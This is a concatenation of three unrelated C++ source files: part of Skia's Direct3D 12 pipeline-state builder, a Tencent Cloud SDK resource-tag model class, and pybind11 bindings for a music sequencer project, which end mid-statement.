DXGI_FORMAT_R32G32B32A32_FLOAT; case kHalf_GrVertexAttribType: return DXGI_FORMAT_R16_FLOAT; case kHalf2_GrVertexAttribType: return DXGI_FORMAT_R16G16_FLOAT; case kHalf4_GrVertexAttribType: return DXGI_FORMAT_R16G16B16A16_FLOAT; case kInt2_GrVertexAttribType: return DXGI_FORMAT_R32G32_SINT; case kInt3_GrVertexAttribType: return DXGI_FORMAT_R32G32B32_SINT; case kInt4_GrVertexAttribType: return DXGI_FORMAT_R32G32B32A32_SINT; case kByte_GrVertexAttribType: return DXGI_FORMAT_R8_SINT; case kByte2_GrVertexAttribType: return DXGI_FORMAT_R8G8_SINT; case kByte4_GrVertexAttribType: return DXGI_FORMAT_R8G8B8A8_SINT; case kUByte_GrVertexAttribType: return DXGI_FORMAT_R8_UINT; case kUByte2_GrVertexAttribType: return DXGI_FORMAT_R8G8_UINT; case kUByte4_GrVertexAttribType: return DXGI_FORMAT_R8G8B8A8_UINT; case kUByte_norm_GrVertexAttribType: return DXGI_FORMAT_R8_UNORM; case kUByte4_norm_GrVertexAttribType: return DXGI_FORMAT_R8G8B8A8_UNORM; case kShort2_GrVertexAttribType: return DXGI_FORMAT_R16G16_SINT; case kShort4_GrVertexAttribType: return DXGI_FORMAT_R16G16B16A16_SINT; case kUShort2_GrVertexAttribType: return DXGI_FORMAT_R16G16_UINT; case kUShort2_norm_GrVertexAttribType: return DXGI_FORMAT_R16G16_UNORM; case kInt_GrVertexAttribType: return DXGI_FORMAT_R32_SINT; case kUInt_GrVertexAttribType: return DXGI_FORMAT_R32_UINT; case kUShort_norm_GrVertexAttribType: return DXGI_FORMAT_R16_UNORM; case kUShort4_norm_GrVertexAttribType: return DXGI_FORMAT_R16G16B16A16_UNORM; } SK_ABORT("Unknown vertex attrib type"); } static void setup_vertex_input_layout(const GrGeometryProcessor& geomProc, D3D12_INPUT_ELEMENT_DESC* inputElements) { unsigned int slotNumber = 0; unsigned int vertexSlot = 0; unsigned int instanceSlot = 0; if (geomProc.hasVertexAttributes()) { vertexSlot = slotNumber++; } if (geomProc.hasInstanceAttributes()) { instanceSlot = slotNumber++; } unsigned int currentAttrib = 0; for (auto attrib : geomProc.vertexAttributes()) { // When using SPIRV-Cross it converts the location modifier in SPIRV to be // TEXCOORD<N> where N is the location value for eveery vertext attribute inputElements[currentAttrib] = { "TEXCOORD", currentAttrib, attrib_type_to_format(attrib.cpuType()), vertexSlot, SkToU32(*attrib.offset()), D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 }; currentAttrib++; } for (auto attrib : geomProc.instanceAttributes()) { // When using SPIRV-Cross it converts the location modifier in SPIRV to be // TEXCOORD<N> where N is the location value for eveery vertext attribute inputElements[currentAttrib] = { "TEXCOORD", currentAttrib, attrib_type_to_format(attrib.cpuType()), instanceSlot, SkToU32(*attrib.offset()), D3D12_INPUT_CLASSIFICATION_PER_INSTANCE_DATA, 1 }; currentAttrib++; } } static D3D12_BLEND blend_coeff_to_d3d_blend(skgpu::BlendCoeff coeff) { switch (coeff) { case skgpu::BlendCoeff::kZero: return D3D12_BLEND_ZERO; case skgpu::BlendCoeff::kOne: return D3D12_BLEND_ONE; case skgpu::BlendCoeff::kSC: return D3D12_BLEND_SRC_COLOR; case skgpu::BlendCoeff::kISC: return D3D12_BLEND_INV_SRC_COLOR; case skgpu::BlendCoeff::kDC: return D3D12_BLEND_DEST_COLOR; case skgpu::BlendCoeff::kIDC: return D3D12_BLEND_INV_DEST_COLOR; case skgpu::BlendCoeff::kSA: return D3D12_BLEND_SRC_ALPHA; case skgpu::BlendCoeff::kISA: return D3D12_BLEND_INV_SRC_ALPHA; case skgpu::BlendCoeff::kDA: return D3D12_BLEND_DEST_ALPHA; case skgpu::BlendCoeff::kIDA: return D3D12_BLEND_INV_DEST_ALPHA; case skgpu::BlendCoeff::kConstC: return D3D12_BLEND_BLEND_FACTOR; case skgpu::BlendCoeff::kIConstC: return D3D12_BLEND_INV_BLEND_FACTOR; case skgpu::BlendCoeff::kS2C: return D3D12_BLEND_SRC1_COLOR; case skgpu::BlendCoeff::kIS2C: return D3D12_BLEND_INV_SRC1_COLOR; case skgpu::BlendCoeff::kS2A: return D3D12_BLEND_SRC1_ALPHA; case skgpu::BlendCoeff::kIS2A: return D3D12_BLEND_INV_SRC1_ALPHA; case skgpu::BlendCoeff::kIllegal: return D3D12_BLEND_ZERO; } SkUNREACHABLE; } static D3D12_BLEND blend_coeff_to_d3d_blend_for_alpha(skgpu::BlendCoeff coeff) { switch (coeff) { // Force all srcColor used in alpha slot to alpha version. case skgpu::BlendCoeff::kSC: return D3D12_BLEND_SRC_ALPHA; case skgpu::BlendCoeff::kISC: return D3D12_BLEND_INV_SRC_ALPHA; case skgpu::BlendCoeff::kDC: return D3D12_BLEND_DEST_ALPHA; case skgpu::BlendCoeff::kIDC: return D3D12_BLEND_INV_DEST_ALPHA; case skgpu::BlendCoeff::kS2C: return D3D12_BLEND_SRC1_ALPHA; case skgpu::BlendCoeff::kIS2C: return D3D12_BLEND_INV_SRC1_ALPHA; default: return blend_coeff_to_d3d_blend(coeff); } } static D3D12_BLEND_OP blend_equation_to_d3d_op(skgpu::BlendEquation equation) { switch (equation) { case skgpu::BlendEquation::kAdd: return D3D12_BLEND_OP_ADD; case skgpu::BlendEquation::kSubtract: return D3D12_BLEND_OP_SUBTRACT; case skgpu::BlendEquation::kReverseSubtract: return D3D12_BLEND_OP_REV_SUBTRACT; default: SkUNREACHABLE; } } static void fill_in_blend_state(const GrPipeline& pipeline, D3D12_BLEND_DESC* blendDesc) { blendDesc->AlphaToCoverageEnable = false; blendDesc->IndependentBlendEnable = false; const GrXferProcessor::BlendInfo& blendInfo = pipeline.getXferProcessor().getBlendInfo(); skgpu::BlendEquation equation = blendInfo.fEquation; skgpu::BlendCoeff srcCoeff = blendInfo.fSrcBlend; skgpu::BlendCoeff dstCoeff = blendInfo.fDstBlend; bool blendOff = skgpu::BlendShouldDisable(equation, srcCoeff, dstCoeff); auto& rtBlend = blendDesc->RenderTarget[0]; rtBlend.BlendEnable = !blendOff; if (!blendOff) { rtBlend.SrcBlend = blend_coeff_to_d3d_blend(srcCoeff); rtBlend.DestBlend = blend_coeff_to_d3d_blend(dstCoeff); rtBlend.BlendOp = blend_equation_to_d3d_op(equation); rtBlend.SrcBlendAlpha = blend_coeff_to_d3d_blend_for_alpha(srcCoeff); rtBlend.DestBlendAlpha = blend_coeff_to_d3d_blend_for_alpha(dstCoeff); rtBlend.BlendOpAlpha = blend_equation_to_d3d_op(equation); } if (!blendInfo.fWriteColor) { rtBlend.RenderTargetWriteMask = 0; } else { rtBlend.RenderTargetWriteMask = D3D12_COLOR_WRITE_ENABLE_ALL; } } static void fill_in_rasterizer_state(const GrPipeline& pipeline, bool multisampleEnable, const GrCaps* caps, D3D12_RASTERIZER_DESC* rasterizer) { rasterizer->FillMode = (caps->wireframeMode() || pipeline.isWireframe()) ? D3D12_FILL_MODE_WIREFRAME : D3D12_FILL_MODE_SOLID; rasterizer->CullMode = D3D12_CULL_MODE_NONE; rasterizer->FrontCounterClockwise = true; rasterizer->DepthBias = 0; rasterizer->DepthBiasClamp = 0.0f; rasterizer->SlopeScaledDepthBias = 0.0f; rasterizer->DepthClipEnable = false; rasterizer->MultisampleEnable = multisampleEnable; rasterizer->AntialiasedLineEnable = false; rasterizer->ForcedSampleCount = 0; rasterizer->ConservativeRaster = D3D12_CONSERVATIVE_RASTERIZATION_MODE_OFF; } static D3D12_STENCIL_OP stencil_op_to_d3d_op(GrStencilOp op) { switch (op) { case GrStencilOp::kKeep: return D3D12_STENCIL_OP_KEEP; case GrStencilOp::kZero: return D3D12_STENCIL_OP_ZERO; case GrStencilOp::kReplace: return D3D12_STENCIL_OP_REPLACE; case GrStencilOp::kInvert: return D3D12_STENCIL_OP_INVERT; case GrStencilOp::kIncWrap: return D3D12_STENCIL_OP_INCR; case GrStencilOp::kDecWrap: return D3D12_STENCIL_OP_DECR; case GrStencilOp::kIncClamp: return D3D12_STENCIL_OP_INCR_SAT; case GrStencilOp::kDecClamp: return D3D12_STENCIL_OP_DECR_SAT; } SkUNREACHABLE; } static D3D12_COMPARISON_FUNC stencil_test_to_d3d_func(GrStencilTest test) { switch (test) { case GrStencilTest::kAlways: return D3D12_COMPARISON_FUNC_ALWAYS; case GrStencilTest::kNever: return D3D12_COMPARISON_FUNC_NEVER; case GrStencilTest::kGreater: return D3D12_COMPARISON_FUNC_GREATER; case GrStencilTest::kGEqual: return D3D12_COMPARISON_FUNC_GREATER_EQUAL; case GrStencilTest::kLess: return D3D12_COMPARISON_FUNC_LESS; case GrStencilTest::kLEqual: return D3D12_COMPARISON_FUNC_LESS_EQUAL; case GrStencilTest::kEqual: return D3D12_COMPARISON_FUNC_EQUAL; case GrStencilTest::kNotEqual: return D3D12_COMPARISON_FUNC_NOT_EQUAL; } SkUNREACHABLE; } static void setup_stencilop_desc(D3D12_DEPTH_STENCILOP_DESC* desc, const GrStencilSettings::Face& stencilFace) { desc->StencilFailOp = stencil_op_to_d3d_op(stencilFace.fFailOp); desc->StencilDepthFailOp = desc->StencilFailOp; desc->StencilPassOp = stencil_op_to_d3d_op(stencilFace.fPassOp); desc->StencilFunc = stencil_test_to_d3d_func(stencilFace.fTest); } static void fill_in_depth_stencil_state(const GrProgramInfo& programInfo, D3D12_DEPTH_STENCIL_DESC* dsDesc) { GrStencilSettings stencilSettings = programInfo.nonGLStencilSettings(); GrSurfaceOrigin origin = programInfo.origin(); dsDesc->DepthEnable = false; dsDesc->DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO; dsDesc->DepthFunc = D3D12_COMPARISON_FUNC_NEVER; dsDesc->StencilEnable = !stencilSettings.isDisabled(); if (!stencilSettings.isDisabled()) { if (stencilSettings.isTwoSided()) { const auto& frontFace = stencilSettings.postOriginCCWFace(origin); const auto& backFace = stencilSettings.postOriginCWFace(origin); SkASSERT(frontFace.fTestMask == backFace.fTestMask); SkASSERT(frontFace.fWriteMask == backFace.fWriteMask); dsDesc->StencilReadMask = frontFace.fTestMask; dsDesc->StencilWriteMask = frontFace.fWriteMask; setup_stencilop_desc(&dsDesc->FrontFace, frontFace); setup_stencilop_desc(&dsDesc->BackFace, backFace); } else { dsDesc->StencilReadMask = stencilSettings.singleSidedFace().fTestMask; dsDesc->StencilWriteMask = stencilSettings.singleSidedFace().fWriteMask; setup_stencilop_desc(&dsDesc->FrontFace, stencilSettings.singleSidedFace()); dsDesc->BackFace = dsDesc->FrontFace; } } } static D3D12_PRIMITIVE_TOPOLOGY_TYPE gr_primitive_type_to_d3d(GrPrimitiveType primitiveType) { switch (primitiveType) { case GrPrimitiveType::kTriangles: case GrPrimitiveType::kTriangleStrip: //fall through return D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE; case GrPrimitiveType::kPoints: return D3D12_PRIMITIVE_TOPOLOGY_TYPE_POINT; case GrPrimitiveType::kLines: // fall through case GrPrimitiveType::kLineStrip: return D3D12_PRIMITIVE_TOPOLOGY_TYPE_LINE; case GrPrimitiveType::kPatches: // fall through, unsupported case GrPrimitiveType::kPath: // fall through, unsupported default: SkUNREACHABLE; } } gr_cp<ID3D12PipelineState> create_pipeline_state( GrD3DGpu* gpu, const GrProgramInfo& programInfo, const sk_sp<GrD3DRootSignature>& rootSig, gr_cp<ID3DBlob> vertexShader, gr_cp<ID3DBlob> pixelShader, DXGI_FORMAT renderTargetFormat, DXGI_FORMAT depthStencilFormat, unsigned int sampleQualityPattern) { D3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = {}; psoDesc.pRootSignature = rootSig->rootSignature(); psoDesc.VS = { reinterpret_cast<UINT8*>(vertexShader->GetBufferPointer()), vertexShader->GetBufferSize() }; psoDesc.PS = { reinterpret_cast<UINT8*>(pixelShader->GetBufferPointer()), pixelShader->GetBufferSize() }; psoDesc.StreamOutput = { nullptr, 0, nullptr, 0, 0 }; fill_in_blend_state(programInfo.pipeline(), &psoDesc.BlendState); psoDesc.SampleMask = UINT_MAX; fill_in_rasterizer_state(programInfo.pipeline(), programInfo.numSamples() > 1, gpu->caps(), &psoDesc.RasterizerState); fill_in_depth_stencil_state(programInfo, &psoDesc.DepthStencilState); unsigned int totalAttributeCnt = programInfo.geomProc().numVertexAttributes() + programInfo.geomProc().numInstanceAttributes(); SkAutoSTArray<4, D3D12_INPUT_ELEMENT_DESC> inputElements(totalAttributeCnt); setup_vertex_input_layout(programInfo.geomProc(), inputElements.get()); psoDesc.InputLayout = { inputElements.get(), totalAttributeCnt }; psoDesc.IBStripCutValue = D3D12_INDEX_BUFFER_STRIP_CUT_VALUE_DISABLED; // This is for geometry or hull shader primitives psoDesc.PrimitiveTopologyType = gr_primitive_type_to_d3d(programInfo.primitiveType()); psoDesc.NumRenderTargets = 1; psoDesc.RTVFormats[0] = renderTargetFormat; psoDesc.DSVFormat = depthStencilFormat; unsigned int numSamples = programInfo.numSamples(); psoDesc.SampleDesc = { numSamples, sampleQualityPattern }; // Only used for multi-adapter systems. psoDesc.NodeMask = 0; psoDesc.CachedPSO = { nullptr, 0 }; psoDesc.Flags = D3D12_PIPELINE_STATE_FLAG_NONE; gr_cp<ID3D12PipelineState> pipelineState; { TRACE_EVENT0("skia.shaders", "CreateGraphicsPipelineState"); GR_D3D_CALL_ERRCHECK( gpu->device()->CreateGraphicsPipelineState(&psoDesc, IID_PPV_ARGS(&pipelineState))); } return pipelineState; } static constexpr SkFourByteTag kHLSL_Tag = SkSetFourByteTag('H', 'L', 'S', 'L'); static constexpr SkFourByteTag kSKSL_Tag = SkSetFourByteTag('S', 'K', 'S', 'L'); std::unique_ptr<GrD3DPipelineState> GrD3DPipelineStateBuilder::finalize() { TRACE_EVENT0("skia.shaders", TRACE_FUNC); this->finalizeShaders(); SkSL::Program::Settings settings; settings.fSharpenTextures = true; settings.fRTFlipOffset = fUniformHandler.getRTFlipOffset(); settings.fRTFlipBinding = 0; settings.fRTFlipSet = 0; sk_sp<SkData> cached; SkReadBuffer reader; SkFourByteTag shaderType = 0; auto persistentCache = fGpu->getContext()->priv().getPersistentCache(); if (persistentCache) { // Shear off the D3D-specific portion of the Desc to get the persistent key. We only cache // shader code, not entire pipelines. sk_sp<SkData> key = SkData::MakeWithoutCopy(this->desc().asKey(), this->desc().initialKeyLength()); cached = persistentCache->load(*key); if (cached) { reader.setMemory(cached->data(), cached->size()); shaderType = GrPersistentCacheUtils::GetType(&reader); } } const GrGeometryProcessor& geomProc = this->geometryProcessor(); gr_cp<ID3DBlob> shaders[kGrShaderTypeCount]; if (kHLSL_Tag == shaderType && this->loadHLSLFromCache(&reader, shaders)) { // We successfully loaded and compiled HLSL } else { SkSL::Program::Inputs inputs[kGrShaderTypeCount]; std::string* sksl[kGrShaderTypeCount] = { &fVS.fCompilerString, &fFS.fCompilerString, }; std::string cached_sksl[kGrShaderTypeCount]; std::string hlsl[kGrShaderTypeCount]; if (kSKSL_Tag == shaderType) { if (GrPersistentCacheUtils::UnpackCachedShaders(&reader, cached_sksl, inputs, kGrShaderTypeCount)) { for (int i = 0; i < kGrShaderTypeCount; ++i) { sksl[i] = &cached_sksl[i]; } } } auto compile = [&](SkSL::ProgramKind kind, GrShaderType shaderType) { shaders[shaderType] = this->compileD3DProgram(kind, *sksl[shaderType], settings, &inputs[shaderType], &hlsl[shaderType]); return shaders[shaderType].get(); }; if (!compile(SkSL::ProgramKind::kVertex, kVertex_GrShaderType) || !compile(SkSL::ProgramKind::kFragment, kFragment_GrShaderType)) { return nullptr; } if (persistentCache && !cached) { const bool cacheSkSL = fGpu->getContext()->priv().options().fShaderCacheStrategy == GrContextOptions::ShaderCacheStrategy::kSkSL; if (cacheSkSL) { // Replace the HLSL with formatted SkSL to be cached. This looks odd, but this is // the last time we're going to use these strings, so it's safe. for (int i = 0; i < kGrShaderTypeCount; ++i) { hlsl[i] = SkShaderUtils::PrettyPrint(*sksl[i]); } } sk_sp<SkData> key = SkData::MakeWithoutCopy(this->desc().asKey(), this->desc().initialKeyLength()); SkString description = GrProgramDesc::Describe(fProgramInfo, *this->caps()); sk_sp<SkData> data = GrPersistentCacheUtils::PackCachedShaders( cacheSkSL ? kSKSL_Tag : kHLSL_Tag, hlsl, inputs, kGrShaderTypeCount); persistentCache->store(*key, *data, description); } } sk_sp<GrD3DRootSignature> rootSig = fGpu->resourceProvider().findOrCreateRootSignature(fUniformHandler.fTextures.count()); if (!rootSig) { return nullptr; } const GrD3DRenderTarget* rt = static_cast<const GrD3DRenderTarget*>(fRenderTarget); gr_cp<ID3D12PipelineState> pipelineState = create_pipeline_state( fGpu, fProgramInfo, rootSig, std::move(shaders[kVertex_GrShaderType]), std::move(shaders[kFragment_GrShaderType]), rt->dxgiFormat(), rt->stencilDxgiFormat(), rt->sampleQualityPattern()); sk_sp<GrD3DPipeline> pipeline = GrD3DPipeline::Make(std::move(pipelineState)); return std::unique_ptr<GrD3DPipelineState>( new GrD3DPipelineState(std::move(pipeline), std::move(rootSig), fUniformHandles, fUniformHandler.fUniforms, fUniformHandler.fCurrentUBOOffset, fUniformHandler.fSamplers.count(), std::move(fGPImpl), std::move(fXPImpl), std::move(fFPImpls), geomProc.vertexStride(), geomProc.instanceStride())); } sk_sp<GrD3DPipeline> GrD3DPipelineStateBuilder::MakeComputePipeline(GrD3DGpu* gpu, GrD3DRootSignature* rootSig, const char* shader) { D3D12_COMPUTE_PIPELINE_STATE_DESC psoDesc = {}; psoDesc.pRootSignature = rootSig->rootSignature(); // compile shader gr_cp<ID3DBlob> shaderBlob; { TRACE_EVENT0("skia.shaders", "driver_compile_shader"); uint32_t compileFlags = 0; #ifdef SK_DEBUG // Enable better shader debugging with the graphics debugging tools. compileFlags |= D3DCOMPILE_DEBUG | D3DCOMPILE_SKIP_OPTIMIZATION; #endif gr_cp<ID3DBlob> errors; HRESULT hr = D3DCompile(shader, strlen(shader), nullptr, nullptr, nullptr, "main", "cs_5_1", compileFlags, 0, &shaderBlob, &errors); if (!SUCCEEDED(hr)) { gpu->getContext()->priv().getShaderErrorHandler()->compileError( shader, reinterpret_cast<char*>(errors->GetBufferPointer())); return nullptr; } psoDesc.CS = { reinterpret_cast<UINT8*>(shaderBlob->GetBufferPointer()), shaderBlob->GetBufferSize() }; } // Only used for multi-adapter systems. psoDesc.NodeMask = 0; psoDesc.CachedPSO = { nullptr, 0 }; psoDesc.Flags = D3D12_PIPELINE_STATE_FLAG_NONE; gr_cp<ID3D12PipelineState> pipelineState; { TRACE_EVENT0("skia.shaders", "CreateComputePipelineState"); GR_D3D_CALL_ERRCHECK( gpu->device()->CreateComputePipelineState(&psoDesc, IID_PPV_ARGS(&pipelineState))); } return GrD3DPipeline::Make(std::move(pipelineState)); }
27,792
10,077
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/tag/v20180813/model/ResourcesTag.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Tag::V20180813::Model; using namespace rapidjson; using namespace std; ResourcesTag::ResourcesTag() : m_resourceRegionHasBeenSet(false), m_serviceTypeHasBeenSet(false), m_resourcePrefixHasBeenSet(false), m_resourceIdHasBeenSet(false), m_tagsHasBeenSet(false) { } CoreInternalOutcome ResourcesTag::Deserialize(const Value &value) { string requestId = ""; if (value.HasMember("ResourceRegion") && !value["ResourceRegion"].IsNull()) { if (!value["ResourceRegion"].IsString()) { return CoreInternalOutcome(Error("response `ResourcesTag.ResourceRegion` IsString=false incorrectly").SetRequestId(requestId)); } m_resourceRegion = string(value["ResourceRegion"].GetString()); m_resourceRegionHasBeenSet = true; } if (value.HasMember("ServiceType") && !value["ServiceType"].IsNull()) { if (!value["ServiceType"].IsString()) { return CoreInternalOutcome(Error("response `ResourcesTag.ServiceType` IsString=false incorrectly").SetRequestId(requestId)); } m_serviceType = string(value["ServiceType"].GetString()); m_serviceTypeHasBeenSet = true; } if (value.HasMember("ResourcePrefix") && !value["ResourcePrefix"].IsNull()) { if (!value["ResourcePrefix"].IsString()) { return CoreInternalOutcome(Error("response `ResourcesTag.ResourcePrefix` IsString=false incorrectly").SetRequestId(requestId)); } m_resourcePrefix = string(value["ResourcePrefix"].GetString()); m_resourcePrefixHasBeenSet = true; } if (value.HasMember("ResourceId") && !value["ResourceId"].IsNull()) { if (!value["ResourceId"].IsString()) { return CoreInternalOutcome(Error("response `ResourcesTag.ResourceId` IsString=false incorrectly").SetRequestId(requestId)); } m_resourceId = string(value["ResourceId"].GetString()); m_resourceIdHasBeenSet = true; } if (value.HasMember("Tags") && !value["Tags"].IsNull()) { if (!value["Tags"].IsArray()) return CoreInternalOutcome(Error("response `ResourcesTag.Tags` is not array type")); const Value &tmpValue = value["Tags"]; for (Value::ConstValueIterator itr = tmpValue.Begin(); itr != tmpValue.End(); ++itr) { Tag item; CoreInternalOutcome outcome = item.Deserialize(*itr); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_tags.push_back(item); } m_tagsHasBeenSet = true; } return CoreInternalOutcome(true); } void ResourcesTag::ToJsonObject(Value &value, Document::AllocatorType& allocator) const { if (m_resourceRegionHasBeenSet) { Value iKey(kStringType); string key = "ResourceRegion"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, Value(m_resourceRegion.c_str(), allocator).Move(), allocator); } if (m_serviceTypeHasBeenSet) { Value iKey(kStringType); string key = "ServiceType"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, Value(m_serviceType.c_str(), allocator).Move(), allocator); } if (m_resourcePrefixHasBeenSet) { Value iKey(kStringType); string key = "ResourcePrefix"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, Value(m_resourcePrefix.c_str(), allocator).Move(), allocator); } if (m_resourceIdHasBeenSet) { Value iKey(kStringType); string key = "ResourceId"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, Value(m_resourceId.c_str(), allocator).Move(), allocator); } if (m_tagsHasBeenSet) { Value iKey(kStringType); string key = "Tags"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, Value(kArrayType).Move(), allocator); int i=0; for (auto itr = m_tags.begin(); itr != m_tags.end(); ++itr, ++i) { value[key.c_str()].PushBack(Value(kObjectType).Move(), allocator); (*itr).ToJsonObject(value[key.c_str()][i], allocator); } } } string ResourcesTag::GetResourceRegion() const { return m_resourceRegion; } void ResourcesTag::SetResourceRegion(const string& _resourceRegion) { m_resourceRegion = _resourceRegion; m_resourceRegionHasBeenSet = true; } bool ResourcesTag::ResourceRegionHasBeenSet() const { return m_resourceRegionHasBeenSet; } string ResourcesTag::GetServiceType() const { return m_serviceType; } void ResourcesTag::SetServiceType(const string& _serviceType) { m_serviceType = _serviceType; m_serviceTypeHasBeenSet = true; } bool ResourcesTag::ServiceTypeHasBeenSet() const { return m_serviceTypeHasBeenSet; } string ResourcesTag::GetResourcePrefix() const { return m_resourcePrefix; } void ResourcesTag::SetResourcePrefix(const string& _resourcePrefix) { m_resourcePrefix = _resourcePrefix; m_resourcePrefixHasBeenSet = true; } bool ResourcesTag::ResourcePrefixHasBeenSet() const { return m_resourcePrefixHasBeenSet; } string ResourcesTag::GetResourceId() const { return m_resourceId; } void ResourcesTag::SetResourceId(const string& _resourceId) { m_resourceId = _resourceId; m_resourceIdHasBeenSet = true; } bool ResourcesTag::ResourceIdHasBeenSet() const { return m_resourceIdHasBeenSet; } vector<Tag> ResourcesTag::GetTags() const { return m_tags; } void ResourcesTag::SetTags(const vector<Tag>& _tags) { m_tags = _tags; m_tagsHasBeenSet = true; } bool ResourcesTag::TagsHasBeenSet() const { return m_tagsHasBeenSet; }
6,605
2,032
#include "SequencerApp.h" #include "model/Model.h" #include <pybind11/pybind11.h> namespace py = pybind11; void register_sequencer(py::module &m) { // ------------------------------------------------------------------------ // Sequencer // ------------------------------------------------------------------------ py::class_<SequencerApp> sequencer(m, "Sequencer"); sequencer .def_property_readonly("model", [] (SequencerApp &app) { return &app.model; }) ; // ------------------------------------------------------------------------ // Model // ------------------------------------------------------------------------ py::class_<Model> model(m, "Model"); model .def_property_readonly("project", [] (Model &model) { return &model.project(); }) ; // ------------------------------------------------------------------------ // Project // ------------------------------------------------------------------------ py::class_<Project> project(m, "Project"); project .def_property("name", &Project::name, &Project::setName) .def_property("slot", &Project::slot, &Project::setSlot) .def_property("tempo", &Project::tempo, &Project::setTempo) .def_property("swing", &Project::swing, &Project::setSwing) .def_property("syncMeasure", &Project::syncMeasure, &Project::setSyncMeasure) .def_property("scale", &Project::scale, &Project::setScale) .def_property("rootNote", &Project::rootNote, &Project::setRootNote) .def_property("recordMode", &Project::recordMode, &Project::setRecordMode) .def_property_readonly("clockSetup", [] (Project &project) { return &project.clockSetup(); }) .def_property_readonly("tracks", [] (Project &project) { py::list result; for (int i = 0; i < CONFIG_TRACK_COUNT; ++i) { result.append(&project.track(i)); } return result; }) .def("cvOutputTrack", &Project::cvOutputTrack) .def("setCvOutputTrack", &Project::setCvOutputTrack) .def("gateOutputTrack", &Project::gateOutputTrack) .def("setGateOutputTrack", &Project::setGateOutputTrack) .def_property_readonly("song", [] (Project &project) { return &project.song(); }) .def_property_readonly("playState", [] (Project &project) { return &project.playState(); }) // TODO userScales .def_property_readonly("routing", [] (Project &project) { return &project.routing(); }) .def_property_readonly("midiOutput", [] (Project &project) { return &project.midiOutput(); }) .def_property("selectedTrackIndex", &Project::selectedTrackIndex, &Project::setSelectedTrackIndex) .def_property("selectedPatternIndex", &Project::selectedPatternIndex, &Project::setSelectedPatternIndex) .def("clear", &Project::clear) .def("clearPattern", &Project::clearPattern) .def("setTrackMode", &Project::setTrackMode) ; // ------------------------------------------------------------------------ // Types // ------------------------------------------------------------------------ py::class_<Types> types(m, "Types"); py::enum_<Types::RecordMode>(types, "RecordMode") .value("Overdub", Types::RecordMode::Overdub) .value("Overwrite", Types::RecordMode::Overwrite) .export_values() ; py::enum_<Types::PlayMode>(types, "PlayMode") .value("Aligned", Types::PlayMode::Aligned) .value("Free", Types::PlayMode::Free) .export_values() ; py::enum_<Types::FillMode>(types, "FillMode") .value("None", Types::FillMode::None) .value("Gates", Types::FillMode::Gates) .value("NextPattern", Types::FillMode::NextPattern) .export_values() ; py::enum_<Types::RunMode>(types, "RunMode") .value("Forward", Types::RunMode::Forward) .value("Backward", Types::RunMode::Backward) .value("Pendulum", Types::RunMode::Pendulum) .value("PingPong", Types::RunMode::PingPong) .value("Random", Types::RunMode::Random) .value("RandomWalk", Types::RunMode::RandomWalk) .export_values() ; py::enum_<Types::VoltageRange>(types, "VoltageRange") .value("Unipolar1V", Types::VoltageRange::Unipolar1V) .value("Unipolar2V", Types::VoltageRange::Unipolar2V) .value("Unipolar3V", Types::VoltageRange::Unipolar3V) .value("Unipolar4V", Types::VoltageRange::Unipolar4V) .value("Unipolar5V", Types::VoltageRange::Unipolar5V) .value("Bipolar1V", Types::VoltageRange::Bipolar1V) .value("Bipolar2V", Types::VoltageRange::Bipolar2V) .value("Bipolar3V", Types::VoltageRange::Bipolar3V) .value("Bipolar4V", Types::VoltageRange::Bipolar4V) .value("Bipolar5V", Types::VoltageRange::Bipolar5V) .export_values() ; // ------------------------------------------------------------------------ // ClockSetup // ------------------------------------------------------------------------ py::class_<ClockSetup> clockSetup(m, "ClockSetup"); clockSetup .def_property("mode", &ClockSetup::mode, &ClockSetup::setMode) .def_property("shiftMode", &ClockSetup::shiftMode, &ClockSetup::setShiftMode) .def_property("clockInputDivisor", &ClockSetup::clockInputDivisor, &ClockSetup::setClockInputDivisor) .def_property("clockInputMode", &ClockSetup::clockInputMode, &ClockSetup::setClockInputMode) .def_property("clockOutputDivisor", &ClockSetup::clockOutputDivisor, &ClockSetup::setClockOutputDivisor) .def_property("clockOutputPulse", &ClockSetup::clockOutputPulse, &ClockSetup::setClockOutputPulse) .def_property("clockOutputMode", &ClockSetup::clockOutputMode, &ClockSetup::setClockOutputMode) .def_property("midiRx", &ClockSetup::midiRx, &ClockSetup::setMidiRx) .def_property("midiTx", &ClockSetup::midiTx, &ClockSetup::setMidiTx) .def_property("usbRx", &ClockSetup::usbRx, &ClockSetup::setUsbRx) .def_property("usbTx", &ClockSetup::usbTx, &ClockSetup::setUsbTx) .def("clear", &ClockSetup::clear) ; py::enum_<ClockSetup::Mode>(clockSetup, "Mode") .value("Auto", ClockSetup::Mode::Auto) .value("Master", ClockSetup::Mode::Master) .value("Slave", ClockSetup::Mode::Slave) .export_values() ; py::enum_<ClockSetup::ShiftMode>(clockSetup, "ShiftMode") .value("Restart", ClockSetup::ShiftMode::Restart) .value("Pause", ClockSetup::ShiftMode::Pause) .export_values() ; py::enum_<ClockSetup::ClockInputMode>(clockSetup, "ClockInputMode") .value("Reset", ClockSetup::ClockInputMode::Reset) .value("Run", ClockSetup::ClockInputMode::Run) .value("StartStop", ClockSetup::ClockInputMode::StartStop) .export_values() ; py::enum_<ClockSetup::ClockOutputMode>(clockSetup, "ClockOutputMode") .value("Reset", ClockSetup::ClockOutputMode::Reset) .value("Run", ClockSetup::ClockOutputMode::Run) .export_values() ; // ------------------------------------------------------------------------ // Track // ------------------------------------------------------------------------ py::class_<Track> track(m, "Track"); track .def_property_readonly("trackIndex", &Track::trackIndex) .def_property_readonly("trackMode", &Track::trackMode) .def_property("linkTrack", &Track::linkTrack, 